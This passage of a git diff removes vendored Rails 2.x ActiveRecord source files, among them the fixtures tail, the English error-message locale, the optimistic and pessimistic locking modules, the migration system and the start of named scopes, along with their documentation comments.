-        unless fixtures.nil?
-          if fixtures.instance_of?(Fixtures)
-            @loaded_fixtures[fixtures.name] = fixtures
-          else
-            fixtures.each { |f| @loaded_fixtures[f.name] = f }
-          end
-        end
-      end
-
-      # for pre_loaded_fixtures, only require the classes once. huge speed improvement
-      @@required_fixture_classes = false
-
-      def instantiate_fixtures
-        if pre_loaded_fixtures
-          raise RuntimeError, 'Load fixtures before instantiating them.' if Fixtures.all_loaded_fixtures.empty?
-          unless @@required_fixture_classes
-            self.class.require_fixture_classes Fixtures.all_loaded_fixtures.keys
-            @@required_fixture_classes = true
-          end
-          Fixtures.instantiate_all_loaded_fixtures(self, load_instances?)
-        else
-          raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
-          @loaded_fixtures.each do |table_name, fixtures|
-            Fixtures.instantiate_fixtures(self, table_name, fixtures, load_instances?)
-          end
-        end
-      end
-
-      def load_instances?
-        use_instantiated_fixtures != :no_instances
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/locale/en.yml b/vendor/rails/activerecord/lib/active_record/locale/en.yml
deleted file mode 100644
index 6dab5e20..00000000
--- a/vendor/rails/activerecord/lib/active_record/locale/en.yml
+++ /dev/null
@@ -1,58 +0,0 @@
-en:
-  activerecord:
-    errors:
-      # The values :model, :attribute and :value are always available for interpolation
-      # The value :count is available when applicable. Can be used for pluralization.
-      messages:
-        inclusion: "is not included in the list"
-        exclusion: "is reserved"
-        invalid: "is invalid"
-        confirmation: "doesn't match confirmation"
-        accepted: "must be accepted"
-        empty: "can't be empty"
-        blank: "can't be blank"
-        too_long: "is too long (maximum is %{count} characters)"
-        too_short: "is too short (minimum is %{count} characters)"
-        wrong_length: "is the wrong length (should be %{count} characters)"
-        taken: "has already been taken"
-        not_a_number: "is not a number"
-        greater_than: "must be greater than %{count}"
-        greater_than_or_equal_to: "must be greater than or equal to %{count}"
-        equal_to: "must be equal to %{count}"
-        less_than: "must be less than %{count}"
-        less_than_or_equal_to: "must be less than or equal to %{count}"
-        odd: "must be odd"
-        even: "must be even"
-        record_invalid: "Validation failed: %{errors}"
-        # Append your own errors here or at the model/attributes scope.
-
-      full_messages:
-        format: "%{attribute} %{message}"
-
-      # You can define own errors for models or model attributes.
-      # The values :model, :attribute and :value are always available for interpolation.
-      #
-      # For example,
-      #   models:
-      #     user:
-      #       blank: "This is a custom blank message for %{model}: %{attribute}"
-      #       attributes:
-      #         login:
-      #           blank: "This is a custom blank message for User login"
-      # Will define custom blank validation message for User model and 
-      # custom blank validation message for login attribute of User model.
-      #models:
-        
-    # Translate model names. Used in Model.human_name().
-    #models:
-      # For example,
-      #   user: "Dude"
-      # will translate User model name to "Dude"
-    
-    # Translate model attribute names. Used in Model.human_attribute_name(attribute).
-    #attributes:
-      # For example,
-      #   user:
-      #     login: "Handle"
-      # will translate User attribute "login" as "Handle"
-
diff --git a/vendor/rails/activerecord/lib/active_record/locking/optimistic.rb b/vendor/rails/activerecord/lib/active_record/locking/optimistic.rb
deleted file mode 100644
index 147aa86c..00000000
--- a/vendor/rails/activerecord/lib/active_record/locking/optimistic.rb
+++ /dev/null
@@ -1,182 +0,0 @@
-module ActiveRecord
-  module Locking
-    # == What is Optimistic Locking
-    #
-    # Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of
-    # conflicts with the data.  It does this by checking whether another process has made changes to a record since
-    # it was opened, an ActiveRecord::StaleObjectError is thrown if that has occurred and the update is ignored.
-    #
-    # Check out ActiveRecord::Locking::Pessimistic for an alternative.
-    #
-    # == Usage
-    #
-    # Active Records support optimistic locking if the field <tt>lock_version</tt> is present.  Each update to the
-    # record increments the lock_version column and the locking facilities ensure that records instantiated twice
-    # will let the last one saved raise a StaleObjectError if the first was also updated. Example:
-    #
-    #   p1 = Person.find(1)
-    #   p2 = Person.find(1)
-    #
-    #   p1.first_name = "Michael"
-    #   p1.save
-    #
-    #   p2.first_name = "should fail"
-    #   p2.save # Raises a ActiveRecord::StaleObjectError
-    #
-    # Optimistic locking will also check for stale data when objects are destroyed.  Example:
-    #
-    #   p1 = Person.find(1)
-    #   p2 = Person.find(1)
-    #
-    #   p1.first_name = "Michael"
-    #   p1.save
-    #
-    #   p2.destroy # Raises a ActiveRecord::StaleObjectError
-    #
-    # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
-    # or otherwise apply the business logic needed to resolve the conflict.
-    #
-    # You must ensure that your database schema defaults the lock_version column to 0.
-    #
-    # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
-    # To override the name of the lock_version column, invoke the <tt>set_locking_column</tt> method.
-    # This method uses the same syntax as <tt>set_table_name</tt>
-    module Optimistic
-      def self.included(base) #:nodoc:
-        base.extend ClassMethods
-
-        base.cattr_accessor :lock_optimistically, :instance_writer => false
-        base.lock_optimistically = true
-
-        base.alias_method_chain :update, :lock
-        base.alias_method_chain :destroy, :lock
-        base.alias_method_chain :attributes_from_column_definition, :lock
-
-        class << base
-          alias_method :locking_column=, :set_locking_column
-        end
-      end
-
-      def locking_enabled? #:nodoc:
-        self.class.locking_enabled?
-      end
-
-      private
-        def attributes_from_column_definition_with_lock
-          result = attributes_from_column_definition_without_lock
-
-          # If the locking column has no default value set,
-          # start the lock version at zero.  Note we can't use
-          # locking_enabled? at this point as @attributes may
-          # not have been initialized yet
-
-          if lock_optimistically && result.include?(self.class.locking_column)
-            result[self.class.locking_column] ||= 0
-          end
-
-          return result
-        end
-
-        def update_with_lock(attribute_names = @attributes.keys) #:nodoc:
-          return update_without_lock(attribute_names) unless locking_enabled?
-          return 0 if attribute_names.empty?
-
-          lock_col = self.class.locking_column
-          previous_value = send(lock_col).to_i
-          send(lock_col + '=', previous_value + 1)
-
-          attribute_names += [lock_col]
-          attribute_names.uniq!
-
-          begin
-            affected_rows = connection.update(<<-end_sql, "#{self.class.name} Update with optimistic locking")
-              UPDATE #{self.class.quoted_table_name}
-              SET #{quoted_comma_pair_list(connection, attributes_with_quotes(false, false, attribute_names))}
-              WHERE #{self.class.primary_key} = #{quote_value(id)}
-              AND #{self.class.quoted_locking_column} = #{quote_value(previous_value)}
-            end_sql
-
-            unless affected_rows == 1
-              raise ActiveRecord::StaleObjectError, "Attempted to update a stale object: #{self.class.name}"
-            end
-
-            affected_rows
-
-          # If something went wrong, revert the version.
-          rescue Exception
-            send(lock_col + '=', previous_value)
-            raise
-          end
-        end
-
-        def destroy_with_lock #:nodoc:
-          return destroy_without_lock unless locking_enabled?
-
-          unless new_record?
-            lock_col = self.class.locking_column
-            previous_value = send(lock_col).to_i
-
-            affected_rows = connection.delete(
-              "DELETE FROM #{self.class.quoted_table_name} " +
-              "WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quoted_id} " +
-                    "AND #{self.class.quoted_locking_column} = #{quote_value(previous_value)}",
-              "#{self.class.name} Destroy"
-            )
-
-            unless affected_rows == 1
-              raise ActiveRecord::StaleObjectError, "Attempted to delete a stale object: #{self.class.name}"
-            end
-          end
-
-          @destroyed = true
-          freeze
-        end
-
-      module ClassMethods
-        DEFAULT_LOCKING_COLUMN = 'lock_version'
-
-        def self.extended(base)
-          class <<base
-            alias_method_chain :update_counters, :lock
-          end
-        end
-
-        # Is optimistic locking enabled for this table? Returns true if the
-        # +lock_optimistically+ flag is set to true (which it is, by default)
-        # and the table includes the +locking_column+ column (defaults to
-        # +lock_version+).
-        def locking_enabled?
-          lock_optimistically && columns_hash[locking_column]
-        end
-
-        # Set the column to use for optimistic locking. Defaults to +lock_version+.
-        def set_locking_column(value = nil, &block)
-          define_attr_method :locking_column, value, &block
-          value
-        end
-
-        # The version column used for optimistic locking. Defaults to +lock_version+.
-        def locking_column
-          reset_locking_column
-        end
-
-        # Quote the column name used for optimistic locking.
-        def quoted_locking_column
-          connection.quote_column_name(locking_column)
-        end
-
-        # Reset the column used for optimistic locking back to the +lock_version+ default.
-        def reset_locking_column
-          set_locking_column DEFAULT_LOCKING_COLUMN
-        end
-
-        # Make sure the lock version column gets updated when counters are
-        # updated.
-        def update_counters_with_lock(id, counters)
-          counters = counters.merge(locking_column => 1) if locking_enabled?
-          update_counters_without_lock(id, counters)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb b/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb
deleted file mode 100644
index fcc9ebb4..00000000
--- a/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-module ActiveRecord
-  module Locking
-    # Locking::Pessimistic provides support for row-level locking using
-    # SELECT ... FOR UPDATE and other lock types.
-    #
-    # Pass <tt>:lock => true</tt> to ActiveRecord::Base.find to obtain an exclusive
-    # lock on the selected rows:
-    #   # select * from accounts where id=1 for update
-    #   Account.find(1, :lock => true)
-    #
-    # Pass <tt>:lock => 'some locking clause'</tt> to give a database-specific locking clause
-    # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'.
-    #
-    # Example:
-    #   Account.transaction do
-    #     # select * from accounts where name = 'shugo' limit 1 for update
-    #     shugo = Account.find(:first, :conditions => "name = 'shugo'", :lock => true)
-    #     yuko = Account.find(:first, :conditions => "name = 'yuko'", :lock => true)
-    #     shugo.balance -= 100
-    #     shugo.save!
-    #     yuko.balance += 100
-    #     yuko.save!
-    #   end
-    #
-    # You can also use ActiveRecord::Base#lock! method to lock one record by id.
-    # This may be better if you don't need to lock every row. Example:
-    #   Account.transaction do
-    #     # select * from accounts where ...
-    #     accounts = Account.find(:all, :conditions => ...)
-    #     account1 = accounts.detect { |account| ... }
-    #     account2 = accounts.detect { |account| ... }
-    #     # select * from accounts where id=? for update
-    #     account1.lock!
-    #     account2.lock!
-    #     account1.balance -= 100
-    #     account1.save!
-    #     account2.balance += 100
-    #     account2.save!
-    #   end
-    #
-    # Database-specific information on row locking:
-    #   MySQL: http://dev.mysql.com/doc/refman/5.1/en/innodb-locking-reads.html
-    #   PostgreSQL: http://www.postgresql.org/docs/8.1/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
-    module Pessimistic
-      # Obtain a row lock on this record. Reloads the record to obtain the requested
-      # lock. Pass an SQL locking clause to append the end of the SELECT statement
-      # or pass true for "FOR UPDATE" (the default, an exclusive row lock).  Returns
-      # the locked record.
-      def lock!(lock = true)
-        reload(:lock => lock) unless new_record?
-        self
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/migration.rb b/vendor/rails/activerecord/lib/active_record/migration.rb
deleted file mode 100644
index 5d709c0d..00000000
--- a/vendor/rails/activerecord/lib/active_record/migration.rb
+++ /dev/null
@@ -1,571 +0,0 @@
-module ActiveRecord
-  class IrreversibleMigration < ActiveRecordError#:nodoc:
-  end
-
-  class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
-    def initialize(version)
-      super("Multiple migrations have the version number #{version}")
-    end
-  end
-
-  class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
-    def initialize(name)
-      super("Multiple migrations have the name #{name}")
-    end
-  end
-
-  class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
-    def initialize(version)
-      super("No migration with version number #{version}")
-    end
-  end
-
-  class IllegalMigrationNameError < ActiveRecordError#:nodoc:
-    def initialize(name)
-      super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
-    end
-  end
-
-  # Migrations can manage the evolution of a schema used by several physical databases. It's a solution
-  # to the common problem of adding a field to make a new feature work in your local database, but being unsure of how to
-  # push that change to other developers and to the production server. With migrations, you can describe the transformations
-  # in self-contained classes that can be checked into version control systems and executed against another database that
-  # might be one, two, or five versions behind.
-  #
-  # Example of a simple migration:
-  #
-  #   class AddSsl < ActiveRecord::Migration
-  #     def self.up
-  #       add_column :accounts, :ssl_enabled, :boolean, :default => 1
-  #     end
-  #
-  #     def self.down
-  #       remove_column :accounts, :ssl_enabled
-  #     end
-  #   end
-  #
-  # This migration will add a boolean flag to the accounts table and remove it if you're backing out of the migration.
-  # It shows how all migrations have two class methods +up+ and +down+ that describes the transformations required to implement
-  # or remove the migration. These methods can consist of both the migration specific methods like add_column and remove_column,
-  # but may also contain regular Ruby code for generating data needed for the transformations.
-  #
-  # Example of a more complex migration that also needs to initialize data:
-  #
-  #   class AddSystemSettings < ActiveRecord::Migration
-  #     def self.up
-  #       create_table :system_settings do |t|
-  #         t.string  :name
-  #         t.string  :label
-  #         t.text  :value
-  #         t.string  :type
-  #         t.integer  :position
-  #       end
-  #
-  #       SystemSetting.create :name => "notice", :label => "Use notice?", :value => 1
-  #     end
-  #
-  #     def self.down
-  #       drop_table :system_settings
-  #     end
-  #   end
-  #
-  # This migration first adds the system_settings table, then creates the very first row in it using the Active Record model
-  # that relies on the table. It also uses the more advanced create_table syntax where you can specify a complete table schema
-  # in one block call.
-  #
-  # == Available transformations
-  #
-  # * <tt>create_table(name, options)</tt> Creates a table called +name+ and makes the table object available to a block
-  #   that can then add columns to it, following the same format as add_column. See example above. The options hash is for
-  #   fragments like "DEFAULT CHARSET=UTF-8" that are appended to the create table definition.
-  # * <tt>drop_table(name)</tt>: Drops the table called +name+.
-  # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+ to +new_name+.
-  # * <tt>add_column(table_name, column_name, type, options)</tt>: Adds a new column to the table called +table_name+
-  #   named +column_name+ specified to be one of the following types:
-  #   <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
-  #   <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>. A default value can be specified by passing an
-  #   +options+ hash like <tt>{ :default => 11 }</tt>. Other options include <tt>:limit</tt> and <tt>:null</tt> (e.g. <tt>{ :limit => 50, :null => false }</tt>)
-  #   -- see ActiveRecord::ConnectionAdapters::TableDefinition#column for details.
-  # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames a column but keeps the type and content.
-  # * <tt>change_column(table_name, column_name, type, options)</tt>:  Changes the column to a different type using the same
-  #   parameters as add_column.
-  # * <tt>remove_column(table_name, column_name)</tt>: Removes the column named +column_name+ from the table called +table_name+.
-  # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index with the name of the column. Other options include
-  #   <tt>:name</tt> and <tt>:unique</tt> (e.g. <tt>{ :name => "users_name_index", :unique => true }</tt>).
-  # * <tt>remove_index(table_name, index_name)</tt>: Removes the index specified by +index_name+.
-  #
-  # == Irreversible transformations
-  #
-  # Some transformations are destructive in a manner that cannot be reversed. Migrations of that kind should raise
-  # an <tt>ActiveRecord::IrreversibleMigration</tt> exception in their +down+ method.
-  #
-  # == Running migrations from within Rails
-  #
-  # The Rails package has several tools to help create and apply migrations.
-  #
-  # To generate a new migration, you can use 
-  #   script/generate migration MyNewMigration
-  #
-  # where MyNewMigration is the name of your migration. The generator will
-  # create an empty migration file <tt>nnn_my_new_migration.rb</tt> in the <tt>db/migrate/</tt>
-  # directory where <tt>nnn</tt> is the next largest migration number.
-  #
-  # You may then edit the <tt>self.up</tt> and <tt>self.down</tt> methods of
-  # MyNewMigration.
-  #
-  # There is a special syntactic shortcut to generate migrations that add fields to a table.
-  #   script/generate migration add_fieldname_to_tablename fieldname:string
-  #
-  # This will generate the file <tt>nnn_add_fieldname_to_tablename</tt>, which will look like this:
-  #   class AddFieldnameToTablename < ActiveRecord::Migration
-  #     def self.up
-  #       add_column :tablenames, :fieldname, :string
-  #     end
-  # 
-  #     def self.down
-  #       remove_column :tablenames, :fieldname
-  #     end
-  #   end
-  # 
-  # To run migrations against the currently configured database, use
-  # <tt>rake db:migrate</tt>. This will update the database by running all of the
-  # pending migrations, creating the <tt>schema_migrations</tt> table
-  # (see "About the schema_migrations table" section below) if missing. It will also 
-  # invoke the db:schema:dump task, which will update your db/schema.rb file
-  # to match the structure of your database.
-  #
-  # To roll the database back to a previous migration version, use
-  # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
-  # you wish to downgrade. If any of the migrations throw an
-  # <tt>ActiveRecord::IrreversibleMigration</tt> exception, that step will fail and you'll
-  # have some manual work to do.
-  #
-  # == Database support
-  #
-  # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
-  # SQL Server, Sybase, and Oracle (all supported databases except DB2).
-  #
-  # == More examples
-  #
-  # Not all migrations change the schema. Some just fix the data:
-  #
-  #   class RemoveEmptyTags < ActiveRecord::Migration
-  #     def self.up
-  #       Tag.find(:all).each { |tag| tag.destroy if tag.pages.empty? }
-  #     end
-  #
-  #     def self.down
-  #       # not much we can do to restore deleted data
-  #       raise ActiveRecord::IrreversibleMigration, "Can't recover the deleted tags"
-  #     end
-  #   end
-  #
-  # Others remove columns when they migrate up instead of down:
-  #
-  #   class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration
-  #     def self.up
-  #       remove_column :items, :incomplete_items_count
-  #       remove_column :items, :completed_items_count
-  #     end
-  #
-  #     def self.down
-  #       add_column :items, :incomplete_items_count
-  #       add_column :items, :completed_items_count
-  #     end
-  #   end
-  #
-  # And sometimes you need to do something in SQL not abstracted directly by migrations:
-  #
-  #   class MakeJoinUnique < ActiveRecord::Migration
-  #     def self.up
-  #       execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
-  #     end
-  #
-  #     def self.down
-  #       execute "ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`"
-  #     end
-  #   end
-  #
-  # == Using a model after changing its table
-  #
-  # Sometimes you'll want to add a column in a migration and populate it immediately after. In that case, you'll need
-  # to make a call to Base#reset_column_information in order to ensure that the model has the latest column data from
-  # after the new column was added. Example:
-  #
-  #   class AddPeopleSalary < ActiveRecord::Migration
-  #     def self.up
-  #       add_column :people, :salary, :integer
-  #       Person.reset_column_information
-  #       Person.find(:all).each do |p|
-  #         p.update_attribute :salary, SalaryCalculator.compute(p)
-  #       end
-  #     end
-  #   end
-  #
-  # == Controlling verbosity
-  #
-  # By default, migrations will describe the actions they are taking, writing
-  # them to the console as they happen, along with benchmarks describing how
-  # long each step took.
-  #
-  # You can quiet them down by setting ActiveRecord::Migration.verbose = false.
-  #
-  # You can also insert your own messages and benchmarks by using the +say_with_time+
-  # method:
-  #
-  #   def self.up
-  #     ...
-  #     say_with_time "Updating salaries..." do
-  #       Person.find(:all).each do |p|
-  #         p.update_attribute :salary, SalaryCalculator.compute(p)
-  #       end
-  #     end
-  #     ...
-  #   end
-  #
-  # The phrase "Updating salaries..." would then be printed, along with the
-  # benchmark for the block when the block completes.
-  #
-  # == About the schema_migrations table
-  #
-  # Rails versions 2.0 and prior used to create a table called
-  # <tt>schema_info</tt> when using migrations. This table contained the
-  # version of the schema as of the last applied migration.
-  #
-  # Starting with Rails 2.1, the <tt>schema_info</tt> table is
-  # (automatically) replaced by the <tt>schema_migrations</tt> table, which
-  # contains the version numbers of all the migrations applied.
-  #
-  # As a result, it is now possible to add migration files that are numbered
-  # lower than the current schema version: when migrating up, those
-  # never-applied "interleaved" migrations will be automatically applied, and
-  # when migrating down, never-applied "interleaved" migrations will be skipped.
-  # 
-  # == Timestamped Migrations
-  #
-  # By default, Rails generates migrations that look like:
-  #
-  #    20080717013526_your_migration_name.rb
-  #
-  # The prefix is a generation timestamp (in UTC).
-  #
-  # If you'd prefer to use numeric prefixes, you can turn timestamped migrations
-  # off by setting:
-  #
-  #    config.active_record.timestamped_migrations = false
-  # 
-  # In environment.rb.
-  #
-  class Migration
-    @@verbose = true
-    cattr_accessor :verbose
-
-    class << self
-      def up_with_benchmarks #:nodoc:
-        migrate(:up)
-      end
-
-      def down_with_benchmarks #:nodoc:
-        migrate(:down)
-      end
-
-      # Execute this migration in the named direction
-      def migrate(direction)
-        return unless respond_to?(direction)
-
-        case direction
-          when :up   then announce "migrating"
-          when :down then announce "reverting"
-        end
-
-        result = nil
-        time = Benchmark.measure { result = send("#{direction}_without_benchmarks") }
-
-        case direction
-          when :up   then announce "migrated (%.4fs)" % time.real; write
-          when :down then announce "reverted (%.4fs)" % time.real; write
-        end
-
-        result
-      end
-
-      # Because the method added may do an alias_method, it can be invoked
-      # recursively. We use @ignore_new_methods as a guard to indicate whether
-      # it is safe for the call to proceed.
-      def singleton_method_added(sym) #:nodoc:
-        return if defined?(@ignore_new_methods) && @ignore_new_methods
-
-        begin
-          @ignore_new_methods = true
-
-          case sym
-            when :up, :down
-              klass = (class << self; self; end)
-              klass.send(:alias_method_chain, sym, "benchmarks")
-          end
-        ensure
-          @ignore_new_methods = false
-        end
-      end
-
-      def write(text="")
-        puts(text) if verbose
-      end
-
-      def announce(message)
-        text = "#{@version} #{name}: #{message}"
-        length = [0, 75 - text.length].max
-        write "== %s %s" % [text, "=" * length]
-      end
-
-      def say(message, subitem=false)
-        write "#{subitem ? "   ->" : "--"} #{message}"
-      end
-
-      def say_with_time(message)
-        say(message)
-        result = nil
-        time = Benchmark.measure { result = yield }
-        say "%.4fs" % time.real, :subitem
-        say("#{result} rows", :subitem) if result.is_a?(Integer)
-        result
-      end
-
-      def suppress_messages
-        save, self.verbose = verbose, false
-        yield
-      ensure
-        self.verbose = save
-      end
-
-      def connection
-        ActiveRecord::Base.connection
-      end
-
-      def method_missing(method, *arguments, &block)
-        arg_list = arguments.map(&:inspect) * ', '
-
-        say_with_time "#{method}(#{arg_list})" do
-          unless arguments.empty? || method == :execute
-            arguments[0] = Migrator.proper_table_name(arguments.first)
-          end
-          connection.send(method, *arguments, &block)
-        end
-      end
-    end
-  end
-
-  # MigrationProxy is used to defer loading of the actual migration classes
-  # until they are needed
-  class MigrationProxy
-
-    attr_accessor :name, :version, :filename
-
-    delegate :migrate, :announce, :write, :to=>:migration
-
-    private
-
-      def migration
-        @migration ||= load_migration
-      end
-
-      def load_migration
-        load(filename)
-        name.constantize
-      end
-
-  end
-
-  class Migrator#:nodoc:
-    class << self
-      def migrate(migrations_path, target_version = nil)
-        case
-          when target_version.nil?              then up(migrations_path, target_version)
-          when current_version == 0 && target_version == 0 then # noop
-          when current_version > target_version then down(migrations_path, target_version)
-          else                                       up(migrations_path, target_version)
-        end
-      end
-
-      def rollback(migrations_path, steps=1)
-        migrator = self.new(:down, migrations_path)
-        start_index = migrator.migrations.index(migrator.current_migration)
-        
-        return unless start_index
-        
-        finish = migrator.migrations[start_index + steps]
-        down(migrations_path, finish ? finish.version : 0)
-      end
-
-      def up(migrations_path, target_version = nil)
-        self.new(:up, migrations_path, target_version).migrate
-      end
-
-      def down(migrations_path, target_version = nil)
-        self.new(:down, migrations_path, target_version).migrate
-      end
-      
-      def run(direction, migrations_path, target_version)
-        self.new(direction, migrations_path, target_version).run
-      end
-
-      def migrations_path
-        'db/migrate'
-      end
-
-      def schema_migrations_table_name
-        Base.table_name_prefix + 'schema_migrations' + Base.table_name_suffix
-      end
-
-      def get_all_versions
-        Base.connection.select_values("SELECT version FROM #{schema_migrations_table_name}").map(&:to_i).sort
-      end
-
-      def current_version
-        sm_table = schema_migrations_table_name
-        if Base.connection.table_exists?(sm_table)
-          get_all_versions.max || 0
-        else
-          0
-        end
-      end
-
-      def proper_table_name(name)
-        # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
-        name.table_name rescue "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
-      end
-    end
-
-    def initialize(direction, migrations_path, target_version = nil)
-      raise StandardError.new("This database does not yet support migrations") unless Base.connection.supports_migrations?
-      Base.connection.initialize_schema_migrations_table
-      @direction, @migrations_path, @target_version = direction, migrations_path, target_version      
-    end
-
-    def current_version
-      migrated.last || 0
-    end
-    
-    def current_migration
-      migrations.detect { |m| m.version == current_version }
-    end
-    
-    def run
-      target = migrations.detect { |m| m.version == @target_version }
-      raise UnknownMigrationVersionError.new(@target_version) if target.nil?
-      unless (up? && migrated.include?(target.version.to_i)) || (down? && !migrated.include?(target.version.to_i))
-        target.migrate(@direction)
-        record_version_state_after_migrating(target.version)
-      end
-    end
-
-    def migrate
-      current = migrations.detect { |m| m.version == current_version }
-      target = migrations.detect { |m| m.version == @target_version }
-
-      if target.nil? && !@target_version.nil? && @target_version > 0
-        raise UnknownMigrationVersionError.new(@target_version)
-      end
-      
-      start = up? ? 0 : (migrations.index(current) || 0)
-      finish = migrations.index(target) || migrations.size - 1
-      runnable = migrations[start..finish]
-      
-      # skip the last migration if we're headed down, but not ALL the way down
-      runnable.pop if down? && !target.nil?
-      
-      runnable.each do |migration|
-        Base.logger.info "Migrating to #{migration.name} (#{migration.version})"
-
-        # On our way up, we skip migrating the ones we've already migrated
-        next if up? && migrated.include?(migration.version.to_i)
-
-        # On our way down, we skip reverting the ones we've never migrated
-        if down? && !migrated.include?(migration.version.to_i)
-          migration.announce 'never migrated, skipping'; migration.write
-          next
-        end
-
-        begin
-          ddl_transaction do
-            migration.migrate(@direction)
-            record_version_state_after_migrating(migration.version)
-          end
-        rescue => e
-          canceled_msg = Base.connection.supports_ddl_transactions? ? "this and " : ""
-          raise StandardError, "An error has occurred, #{canceled_msg}all later migrations canceled:\n\n#{e}", e.backtrace
-        end
-      end
-    end
-
-    def migrations
-      @migrations ||= begin
-        files = Dir["#{@migrations_path}/[0-9]*_*.rb"]
-        
-        migrations = files.inject([]) do |klasses, file|
-          version, name = file.scan(/([0-9]+)_([_a-z0-9]*).rb/).first
-          
-          raise IllegalMigrationNameError.new(file) unless version
-          version = version.to_i
-          
-          if klasses.detect { |m| m.version == version }
-            raise DuplicateMigrationVersionError.new(version) 
-          end
-
-          if klasses.detect { |m| m.name == name.camelize }
-            raise DuplicateMigrationNameError.new(name.camelize) 
-          end
-          
-          klasses << (MigrationProxy.new).tap do |migration|
-            migration.name     = name.camelize
-            migration.version  = version
-            migration.filename = file
-          end
-        end
-        
-        migrations = migrations.sort_by(&:version)
-        down? ? migrations.reverse : migrations
-      end
-    end
-
-    def pending_migrations
-      already_migrated = migrated
-      migrations.reject { |m| already_migrated.include?(m.version.to_i) }
-    end
-
-    def migrated
-      @migrated_versions ||= self.class.get_all_versions
-    end
-
-    private
-      def record_version_state_after_migrating(version)
-        sm_table = self.class.schema_migrations_table_name
-
-        @migrated_versions ||= []
-        if down?
-          @migrated_versions.delete(version.to_i)
-          Base.connection.update("DELETE FROM #{sm_table} WHERE version = '#{version}'")
-        else
-          @migrated_versions.push(version.to_i).sort!
-          Base.connection.insert("INSERT INTO #{sm_table} (version) VALUES ('#{version}')")
-        end
-      end
-
-      def up?
-        @direction == :up
-      end
-
-      def down?
-        @direction == :down
-      end
-
-      # Wrap the migration in a transaction only if supported by the adapter.
-      def ddl_transaction(&block)
-        if Base.connection.supports_ddl_transactions?
-          Base.transaction { block.call }
-        else
-          block.call
-        end
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/named_scope.rb b/vendor/rails/activerecord/lib/active_record/named_scope.rb
deleted file mode 100644
index 5e49de6a..00000000
--- a/vendor/rails/activerecord/lib/active_record/named_scope.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-module ActiveRecord
-  module NamedScope
-    # All subclasses of ActiveRecord::Base have one named scope:
-    # * <tt>scoped</tt> - which allows for the creation of anonymous \scopes, on the fly: <tt>Shirt.scoped(:conditions => {:color => 'red'}).scoped(:include => :washing_instructions)</tt>
-    #
-    # These anonymous \scopes tend to be useful when procedurally generating complex queries, where passing
-    # intermediate values (scopes) around as first-class objects is convenient.
-    #
-    # You can define a scope that applies to all finders using ActiveRecord::Base.default_scope.
-    def self.included(base)
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      def scopes
-        read_inheritable_attribute(:scopes) || write_inheritable_attribute(:scopes, {})
-      end
-
-      def scoped(scope, &block)
-        Scope.new(self, scope, &block)
-      end
-
-      # Adds a class method for retrieving and querying objects. A scope represents a narrowing of a database query,
-      # such as <tt>:conditions => {:color => :red}, :select => 'shirts.*', :include => :washing_instructions</tt>.
-      #
-      #   class Shirt < ActiveRecord::Base
-      #     named_scope :red, :conditions => {:color => 'red'}
-      #     named_scope :dry_clean_only, :joins => :washing_instructions, :conditions => ['washing_instructions.dry_clean_only = ?', true]
-      #   end
-      # 
-      # The above calls to <tt>named_scope</tt> define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red, 
-      # in effect, represents the query <tt>Shirt.find(:all, :conditions => {:color => 'red'})</tt>.
-      #
-      # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by Shirt.red is not an Array; it resembles the association object
-      # constructed by a <tt>has_many</tt> declaration. For instance, you can invoke <tt>Shirt.red.find(:first)</tt>, <tt>Shirt.red.count</tt>,
-      # <tt>Shirt.red.find(:all, :conditions => {:size => 'small'})</tt>. Also, just
-      # as with the association objects, named \scopes act like an Array, implementing Enumerable; <tt>Shirt.red.each(&block)</tt>,
-      # <tt>Shirt.red.first</tt>, and <tt>Shirt.red.inject(memo, &block)</tt> all behave as if Shirt.red really was an Array.
-      #
-      # These named \scopes are composable. For instance, <tt>Shirt.red.dry_clean_only</tt> will produce all shirts that are both red and dry clean only.
-      # Nested finds and calculations also work with these compositions: <tt>Shirt.red.dry_clean_only.count</tt> returns the number of garments
-      # for which these criteria obtain. Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
-      #
-      # All \scopes are available as class methods on the ActiveRecord::Base descendant upon which the \scopes were defined. But they are also available to
-      # <tt>has_many</tt> associations. If,
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :shirts
-      #   end
-      #
-      # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of Elton's red, dry clean
-      # only shirts.
-      #
-      # Named \scopes can also be procedural:
-      #
